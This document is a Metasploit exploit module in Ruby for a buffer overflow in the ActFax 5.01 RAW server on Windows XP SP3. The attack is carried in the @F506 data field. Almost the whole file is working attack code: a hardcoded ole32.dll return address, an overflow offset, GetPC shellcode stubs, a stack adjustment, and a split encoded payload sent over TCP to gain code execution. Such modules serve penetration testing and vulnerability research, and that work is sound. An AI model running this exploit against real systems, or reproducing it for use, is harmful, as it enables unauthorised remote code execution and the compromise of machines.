##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'ActFax 5.01 RAW Server Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability in ActFax Server 5.01 RAW server. The RAW Server can
be used to transfer fax messages to the fax server without any underlying protocols. To
note significant fields in the fax being transfered, like fax number and receipient, you can
use ActFax data fields. @F506,@F605, and @F000 are all data fields that are vulnerable.
For more information refer to the 'data fields' section of the help menu in ActFax. This has
been fixed in a beta version which wont be pushed to release until May 2013.
Beta is here: http://www.actfax.com/download/beta/actfax_setup_en.exe
},
'License' => MSF_LICENSE,
'Author' =>
[
'Craig Freyman @cd1zz', #discovery and msf
'corelanc0d3r', #lots of help with getpc routine => https://www.corelan-training.com/index.php/training/corelan-live
],
'References' =>
[
[ 'OSVDB', '' ],
[ 'CVE', '' ],
[ 'URL', 'http://www.pwnag3.com/2013/02/actfax-raw-server-exploit.html' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'none',
'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x40",
'DisableNops' => true,
'Space' => 1000,
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' => { 'BufferRegister' => 'EBX' }
},
'Targets' =>
[
[ 'Windows XP SP3',
{
'Ret' => 0x775e3422, #ole32.dll v5.1.2600.6168
'Offset' => 1024
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Feb 5 2013',
'DefaultTarget' => 0))
register_options([Opt::RPORT(0)], self.class)
end
def exploit
connect
getpc = "\xe8\xff\xff\xff\xff\xc3\x5b" #ebx| call + 4:
add_ebx = "\x83\xc3\x20" #add ebx,32
fill = "\x4b" * 5 #inc ebx 5 times
fill2 = "\x90" * 17
stack_adjust = "\x81\xc4\x24\xfa\xff\xff" #add esp,-1500
shell_chunk1 = payload.encoded[0,522]
shell_chunk2 = payload.encoded[522,payload.encoded.length-522]
buffer = ""
buffer << shell_chunk2
buffer << rand_text_alpha(target['Offset']-buffer.length)
buffer << [target.ret].pack('V')
buffer << stack_adjust
buffer << getpc
buffer << add_ebx
buffer << fill
buffer << fill2
buffer << shell_chunk1
print_status("Trying target #{target.name}...")
sock.put("@F506 "+buffer+"@\r\npwnag3\r\n\r\n")
handler
disconnect
end
end
